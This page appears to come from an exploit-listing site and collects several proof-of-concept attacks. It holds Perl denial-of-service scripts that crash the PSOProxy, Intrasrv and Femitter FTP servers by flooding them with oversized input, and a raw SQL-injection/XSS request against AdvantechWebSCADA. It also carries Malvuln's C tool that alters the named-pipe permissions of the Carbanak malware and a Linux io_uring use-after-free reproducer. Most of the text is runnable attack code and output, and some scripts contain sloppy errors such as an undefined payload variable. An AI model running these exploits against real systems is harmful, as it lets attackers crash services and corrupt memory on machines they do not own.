Latest exploits :: CodePwn

<pre><code>#!/usr/bin/perl use IO::Socket::INET; # Exploit Title: PSOProxy 0.5 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 10 january 2024 # Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/psoproxy/0.5/ # Download to demo: https://drive.google.com/file/d/1GC2GWGOx9Z1vWT_mxnGXHuTptuHa7lIp/view?usp=sharing # Download to demo 2: https://drive.google.com/file/d/1DHQ1sZL3mqlqFWn50eq7FLVtzX3E6qgC/view?usp=sharing # Notification vendor: No reported # Tested Version: PSOProxy 0.5 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=0uuUqfpRbHM #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data to web server. #The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "\t ==> Connecting to webserver... \n\n"; sleep(1); my $i=0; print "\t ==> Exploiting... \n\n"; while ($i <= 9) { my $sock = IO::Socket::INET->new( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp', ) or die "Cannot connect to $ip:$port: $!\n"; my $buffer = "A" x 3000; my $shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" . "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; $buffer .= "\x0F\x98\xF8\x77" . $shellcode; print $sock $buffer . "\r\n"; close($sock); $i++; } print "\t ==> Done! Exploited!"; sub intro { print q { ,--, _ ___/ /\| ,;'( )__, ) ~ // // '--; ' \ | ^ ^ ^ [+] PSOProxy 0.5 - Denial of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: fernando.mengalli@gmail.com } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print "\n\tUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated </code></pre>

<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/b8e1e5b832e5947f41fd6ae6ef6d09a1.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32 Carbanak (Anunak) Vulnerability: Named Pipe Null DACL Family: Carbanak Type: PE32 MD5: b8e1e5b832e5947f41fd6ae6ef6d09a1 Vuln ID: MVID-2024-0667 Dropped files: AlhEXlUJ.exe, AlhEXlUJbVpfX1EMVw.bin Disclosure: 01/09/2024 Description: Carbanak malware creates 8 named pipes used for C2 and interprocess communications and grants RW access to the Everyone user group. Low privileged users can modify the pipes DACLs, removing rights for Everyone denying access to all users. First 6 pipes are created by its parent process and last 2 by the child process. The pipes names are randomly generated each time it is run all except for one JFNfVUYDXmlZQV. Therefore, we can detect Carbanak by that one pipe, as the "JFNfVUYDXmlZQVI" pipe is always created regardless of other randomly named pipes. Listing Carbanaks named pipes they get grouped as they are created at same time with 2 of them listed prior to the JFNfVUYDXmlZQVI pipe. Carbanak creates a directory named "Mozilla" under ProgramData with hidden files, one of which is AlhEXlUJ.exe used by the service it creates which runs as SYSTEM. The malwares service names created seem to use an already existing service name and add "Sys" at the end of its name. Exploitation steps, output all named pipes and look for "JFNfVUYDXmlZQVI" if detected, exploit the DACL on 2 previously listed pipes and 5 pipes listed after. Successfully tested in VM environment. Carbanak IPC Named Pipes: \\.\Pipe\cltjLnYRKKjUESTvgGdmERTb RW Everyone \\.\Pipe\tGYNSgZvVXwumEhdcF RW Everyone \\.\Pipe\JFNfVUYDXmlZQVI <===== ALWAYS CREATED RW Everyone \\.\Pipe\PoUXbOHFRuUZAufnlpMZoqdtIfOX RW Everyone \\.\Pipe\oBcVHguxbnjGbSgkJptifqvNFgD RW Everyone \\.\Pipe\iDToHxpSCbEIEHPBeQ RW Everyone \\.\Pipe\YutsGUYwwUusszByeuXUQK RW Everyone \\.\Pipe\UfnQmAUTVtEkYvMoUWAZekAuWZHe RW Everyone Exploit/PoC: #include "windows.h" #include "stdio.h" #include "accctrl.h" #include "aclapi.h" /* Carbanak: 48d208b87b29d50bb160f336c94b681e232b0f90e8c02175e593d60737369c13 DACL IPC named pipes created and grants RW access for Everyone. We can identify Carbanak as out of the eight pipes it creates with random names the pipe named JFNfVUYDXmlZQVI is always created. Pipes are typically grouped as they are created at same time and typically 2 are previous to pipe JFNfVUYDXmlZQVI and others are created after Output named pipes find JFNfVUYDXmlZQVI and exploit DACL on 2 previous and 5 after. Successfully tested in VM environment. By Malvuln **/ /** DISCLAIMER: Author is NOT responsible for any damages whatsoever by using this software or improper malware handling. By using this code you assume and accept all risk implied or otherwise. **/ #define CARBANAK_PIPE "JFNfVUYDXmlZQVI" #define MAX_TOKENS 1024 #define DELIMITER "\n" int str2Array(char*** argv, char *str); int Exploit(char *carbanak_pipe); int str2Array(char*** argv, char *str){ char* buffer; int argc; buffer = (char *) malloc(strlen(str) * sizeof(char)); strcpy(buffer, str); (*argv) = (char**) malloc(MAX_TOKENS * sizeof(char**)); argc = 0; (*argv)[argc++] = strtok(buffer, DELIMITER); while ((((*argv)[argc] = strtok(NULL, DELIMITER)) != NULL) && (argc < MAX_TOKENS)) ++argc; return argc; } int main(void){ system("dir /b \\\\.\\pipe\\\\ > tmp.sys"); int ch; char tmp[1]; FILE *fp = fopen("tmp.sys", "r"); fseek(fp, 0, SEEK_END); int bytes = ftell(fp) + 256; rewind(fp); char x[bytes]; while((ch = fgetc(fp)) != EOF){ if(feof(fp)){ break; } sprintf(tmp, "%c", ch); strcat(x, tmp); } fclose(fp); char **A; int i, result = str2Array(&A, x); int delay = 300; int rc; BOOL infected=FALSE; for(i=0;i<result;i++){ if(strcmp(A[i], CARBANAK_PIPE)==0){ printf("[+] Carbanak (Anunak) malware IPC exploit\n"); printf("[!] MD5: b8e1e5b832e5947f41fd6ae6ef6d09a1\n"); printf("[!] Named Pipe %s%s\n", CARBANAK_PIPE, " detected!"); printf("[+] Attack started...\n\n"); infected = TRUE; Exploit(A[i]); Sleep(delay); Exploit(A[i-2]); Sleep(delay); Exploit(A[i-1]); Sleep(delay); Exploit(A[i+1]); Sleep(delay); Exploit(A[i+2]); Sleep(delay); Exploit(A[i+3]); Sleep(delay); Exploit(A[i+4]); Sleep(delay); rc = Exploit(A[i+5]); } } if(!infected){ printf("[+] Carbanak (Anunak) malware IPC Exploit \n"); printf("[+] MD5: b8e1e5b832e5947f41fd6ae6ef6d09a1\n"); printf("[!] Named Pipe %s%s", CARBANAK_PIPE, " not found on the system.\n"); printf("[!] Aborting..."); } if(rc==0){ printf("\n[!] Done!"); } printf("\n[+] By Malvuln circa 2024\n\n"); system("pause"); return 0; } int Exploit(char *malpipe){ char MALPIPE_PREFIX[269] = "\\\\.\\pipe\\"; strcat(MALPIPE_PREFIX, malpipe); HANDLE hPipe = CreateFileA((LPCSTR)MALPIPE_PREFIX, GENERIC_WRITE | WRITE_DAC, 0, NULL, OPEN_EXISTING, 0, NULL); PACL pOldDACL = NULL; PACL pNewDACL = NULL; if (hPipe == INVALID_HANDLE_VALUE){ int rc = GetLastError(); if(rc==5){ printf("[!] Access Denied for pipe: %s\n", malpipe); } return 1; } if(GetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS){ printf("[!] Error: %d", GetLastError()); return 1; } TRUSTEE trustee[1]; trustee[0].TrusteeForm = TRUSTEE_IS_NAME; trustee[0].TrusteeType = TRUSTEE_IS_GROUP; trustee[0].ptstrName = TEXT("Everyone"); trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE; trustee[0].pMultipleTrustee = NULL; EXPLICIT_ACCESS explicit_access_list[1]; ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS)); explicit_access_list[0].grfAccessMode = DENY_ACCESS; explicit_access_list[0].grfAccessPermissions = GENERIC_ALL; explicit_access_list[0].grfInheritance = NO_INHERITANCE; explicit_access_list[0].Trustee = trustee[0]; if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){ printf("[!] Error: %d", GetLastError()); return 1; } if(SetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){ printf("[!] Error: %d", GetLastError()); return 1; }else{ printf("[+] Modifying IPC Pipe DACL ==> %s\n", MALPIPE_PREFIX); } LocalFree(pNewDACL); LocalFree(pOldDACL); CloseHandle(hPipe); return 0; } Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).</code></pre>

<pre><code>#!/usr/bin/perl use IO::Socket; # Exploit Title: Intrasrv Simple Web Server 1.0 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 09 january 2024 # Vendor Homepage: http://www.leighb.com/intrasrv.htm # Download to demo: http://www.leighb.com/intrasrv.zip # Download 2 to demo: https://drive.google.com/file/d/1HuUGIGMp_L6viM-j6djGICsyxZg_SJtB/view?usp=sharing # Notification vendor: No reported # Tested Version: Intrasrv Simple Web Server 1.0 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=9u77LwLgXzU # Vídeo 2: https://drive.google.com/file/d/1GDVpLx5YfWdhI3ZQcG5P0EWvuR25SEjW/view?usp=sharing #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data via method GET to web server. #The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC my $sis="$^O"; our $cmd; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $buffer1 = "\x41"x4674; my $buffer2 = "\x41" x 638; my $buffer = "GET / HTTP/1.1\r\n"; $buffer .= "Host: " . $buffer1 . "\r\n"; $buffer .= "User-Agent: Mozilla/4.0 (Windows XP 5.1)\r\n"; $buffer .= $buffer2; my $one = IO::Socket::INET->new( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp', ) or die "Could not connect to $ip: $!\n"; print $one $buffer; close $one; print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print "********************************************************\n"; print "* Intrasrv Simple Web Server 1.0 - Denied of Service *\n"; print "* *\n"; print "* Coded by Fernando Mengali *\n"; print "* *\n"; print "* e-mail: fernando.mengalli\@gmail.com *\n"; print "* *\n"; print "*******************************************************\n"; } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated </code></pre>

<pre><code>;; PostAuth SQLi in AdvantechWeb/SCADA 9.1.5U ;; ;; found: 28.12.2023 ;; ;; more: ;; https://code610.blogspot.com/2024/01/postauth-sqli-in-advantechwebscada-915u.html ;; POST /waconfig/api/odbc/getSystemLog HTTP/2 Host: 192.168.56.106 Cookie: serverLanguage=en; csrfToken=a2db29e5-68f5-4cae-917c-41767ee92911-1837; pcname=MSEDGEWIN10; rpcPort=4592; accessCode=qweqwe; socketPort=14592; account=admin; ASPSESSIONIDQWBDCRDA=MCKNMBPCPEFMMGDHFCIICAGA; ASPSESSIONIDQSBDCRDA=NCKNMBPCOGIENOGNONBOFBFF; ASP.NET_SessionId=zgqgjalvaa0x1kpcdj3ke2di; user=name=; ASPSESSIONIDCGTAATDA=OCEJBDPCJIJLPKAFFGOGHPAN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: application/json, text/plain, */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/json;charset=utf-8 Content-Length: 359 Origin: https://192.168.56.106 Referer: https://192.168.56.106/waconfig/index Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: keep-alive {"csrfToken":"a2db29e5-68f5-4cae-917c-41767ee92911-1837","StartDateTime":"12/28/2023 00:00:00","EndDateTime":"12/28/2023 22:20:46","Action":[2,3,4,5,6,7,8,9,10,11,13,14,15,16,12],"UserName":"ALL","IPAddress":"ALL","NodeName":"ALL","ProjName":"ALL","Orders":[{"ColumnName":"%27>%22><svg/onload=prompt(123)>","descending":"DESC"}],"PageSize":50,"CurrentPage":1} resp: HTTP/2 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 225 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 X-Ua-Compatible: IE=EmulateIE7 Access-Control-Allow-Origin: http://localhost:8080 Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000;includeSubDomains;preload X-Content-Type-Options: nosniff Date: Thu, 28 Dec 2023 21:29:56 GMT {"error":-500,"reason":"Exception captured by WebApiExceptionFilter: ERROR [42000] [Microsoft][ODBC Microsoft Access Driver] Syntax error in query expression \u0027%27\u003e%22\u003e\u003csvg/onload=prompt(123)\u003e\u0027."} ;; cheers ;; </code></pre>

<pre><code>#!/usr/bin/perl use Net::FTP; # Exploit Title: Femitter FTP Server 1.03 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 08 january 2024 # Vendor Homepage: https://acritum.com/ # Download to demo: https://drive.google.com/file/d/1GBFmc7tMavA9mMoZPYVlUVUe62dGjBhF/view?usp=sharing # Notification vendor: No reported # Tested Version: Femitter FTP Server 1.03 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://drive.google.com/file/d/1n_WzyNiOwHRen60en5rh56Q4AyDfVbF_/view?usp=sharing #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server does not correctly handle the amount of data or bytes of the command RETR, resulting in memory corruption. #When authenticating to the FTP server with a long RETR or a RETR with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $payload = "\x41\x2C\x41\x20\x42"x500; my $ftp = Net::FTP->new($ip, Debug => 0) or die "Could not connect: $@"; my $sc= "A"x800; $ftp->login("anon","anon") or die "Failed: " . $ftp->message; $ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message; $ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message; $ftp->quit; print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print "######################################################################\n"; print "# Femitter FTP Server 1.03 - Denial of Service #\n"; print "# #\n"; print "# Coded by Fernando Mengali #\n"; print "# #\n"; print "# e-mail: fernando.mengalli\@gmail.com #\n"; print "# #\n"; print "######################################################################\n"; } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated </code></pre>

<pre><code>Linux >=6.4: io_uring: page UAF via buffer ring mmap Since commit c56e022c0a27 (\"io_uring: add support for user mapped provided buffer ring\"), landed in Linux 6.4, io_uring makes it possible to allocate, mmap, and deallocate \"buffer rings\". A \"buffer ring\" can be allocated with io_uring_register(..., IORING_REGISTER_PBUF_RING, ...) and later deallocated with io_uring_register(..., IORING_UNREGISTER_PBUF_RING, ...). It can be mapped into userspace using mmap() with offset IORING_OFF_PBUF_RING|..., which creates a VM_PFNMAP mapping, meaning the MM subsystem will treat the mapping as a set of opaque page frame numbers not associated with any corresponding pages; this implies that the calling code is responsible for ensuring that the mapped memory can not be freed before the userspace mapping is removed. However, there is no mechanism to ensure this in io_uring: It is possible to just register a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and then free the buffer ring's pages with IORING_UNREGISTER_PBUF_RING, leaving free pages mapped into userspace, which is a fairly easily exploitable situation. reproducer: ============================================================== #define _GNU_SOURCE #include <unistd.h> #include <err.h> #include <string.h> #include <stdio.h> #include <ctype.h> #include <sys/syscall.h> #include <sys/mman.h> #include <linux/io_uring.h> #define SYSCHK(x) ({ \\ typeof(x) __res = (x); \\ if (__res == (typeof(x))-1) \\ err(1, \"SYSCHK(\" #x \")\"); \\ __res; \\ }) int main(void) { struct io_uring_params params = { .flags = IORING_SETUP_NO_SQARRAY }; int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/40, &params)); printf(\"uring_fd = %d\ \", uring_fd); struct io_uring_buf_reg reg = { .ring_entries = 1, .bgid = 0, .flags = IOU_PBUF_RING_MMAP }; SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, &reg, 1)); void *pbuf_mapping = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_PBUF_RING)); printf(\"pbuf mapped at %p\ \", pbuf_mapping); struct io_uring_buf_reg unreg = { .bgid = 0 }; SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_UNREGISTER_PBUF_RING, &unreg, 1)); while (1) { memset(pbuf_mapping, 0xaa, 0x1000); usleep(100000); } } ============================================================== When run on a system with the debug options: CONFIG_PAGE_TABLE_CHECK=y CONFIG_PAGE_TABLE_CHECK_ENFORCED=y , this will splat with the following error, when __page_table_check_zero() detects that a page that's being freed is still mapped into userspace: ============================================================== ------------[ cut here ]------------ kernel BUG at mm/page_table_check.c:146! invalid opcode: 0000 [#1] PREEMPT SMP KASAN CPU: 1 PID: 554 Comm: uring-mmap-pbuf Not tainted 6.7.0-rc3 #360 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 RIP: 0010:__page_table_check_zero+0x136/0x150 Code: a8 40 0f 84 1f ff ff ff 48 8d 7b 48 e8 93 8a fd ff 48 8b 6b 48 40 f6 c5 01 0f 84 08 ff ff ff 48 83 ed 01 e9 02 ff ff ff 0f 0b <0f> 0b 0f 0b 0f 0b 5b 48 89 ef 5d 41 5c 41 5d 41 5e e9 f4 ea ff ff RSP: 0018:ffff888029aa7c70 EFLAGS: 00010202 RAX: 0000000000000001 RBX: ffff8880011789f0 RCX: dffffc0000000000 RDX: 0000000000000007 RSI: ffffffff83ca598e RDI: ffff8880011789f4 RBP: ffff8880011789f0 R08: 0000000000000000 R09: ffffed100022f13e R10: ffff8880011789f7 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8880011789f4 R14: 0000000000000001 R15: 0000000000000000 FS: 00007f745f01a500(0000) GS:ffff88806d280000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00005610bbfb8008 CR3: 0000000016ac3004 CR4: 0000000000770ef0 PKRU: 55555554 Call Trace: <TASK> [...] free_unref_page_prepare+0x282/0x450 free_unref_page+0x45/0x170 __io_remove_buffers.part.0+0x38c/0x3c0 io_unregister_pbuf_ring+0x146/0x1e0 [...] __do_sys_io_uring_register+0xa03/0x11c0 [...] do_syscall_64+0x43/0xf0 entry_SYSCALL_64_after_hwframe+0x6e/0x76 RIP: 0033:0x7f745ef4bf59 Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 07 6f 0c 00 f7 d8 64 89 01 48 RSP: 002b:00007ffe29cbac98 EFLAGS: 00000202 ORIG_RAX: 00000000000001ab RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f745ef4bf59 RDX: 00007ffe29cbaca0 RSI: 0000000000000017 RDI: 0000000000000003 RBP: 00007ffe29cbadb0 R08: 00007ffe29cbab6c R09: 0000000000000000 R10: 0000000000000001 R11: 0000000000000202 R12: 00005610bbb700d0 R13: 00007ffe29cbae90 R14: 0000000000000000 R15: 0000000000000000 </TASK> Modules linked in: ---[ end trace 0000000000000000 ]--- ============================================================== When run on a system without those options, this reproducer will randomly corrupt memory and probably on most runs crash the machine. I tried it once and after I tried using some other programs, I got some random kernel #GP fault. One way to fix this might be to add some mapping counter to `struct io_buffer_list`, and then: - increment that counter in io_uring_validate_mmap_request() for PBUF_RING mappings - increment that counter in the vm_area_operations ->open() handler - decrement that counter in the vm_area_operations ->close() handler - refuse IORING_UNREGISTER_PBUF_RING if the counter is non-zero? Or alternatively free the io_buffer_list when the counter drops to zero, and let the counter start at 1. (I'm not sure what the lifetime rules for other accesses to the io_buffer_list's memory are - it looks like most paths only access the io_buffer_list under some lock? Is the idea that the kernel actually accesses the buffer through userspace pointers, or something like that? I'll have to stare at this some more before I understand it...) This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2024-02-26. Found by: jannh@google.com </code></pre>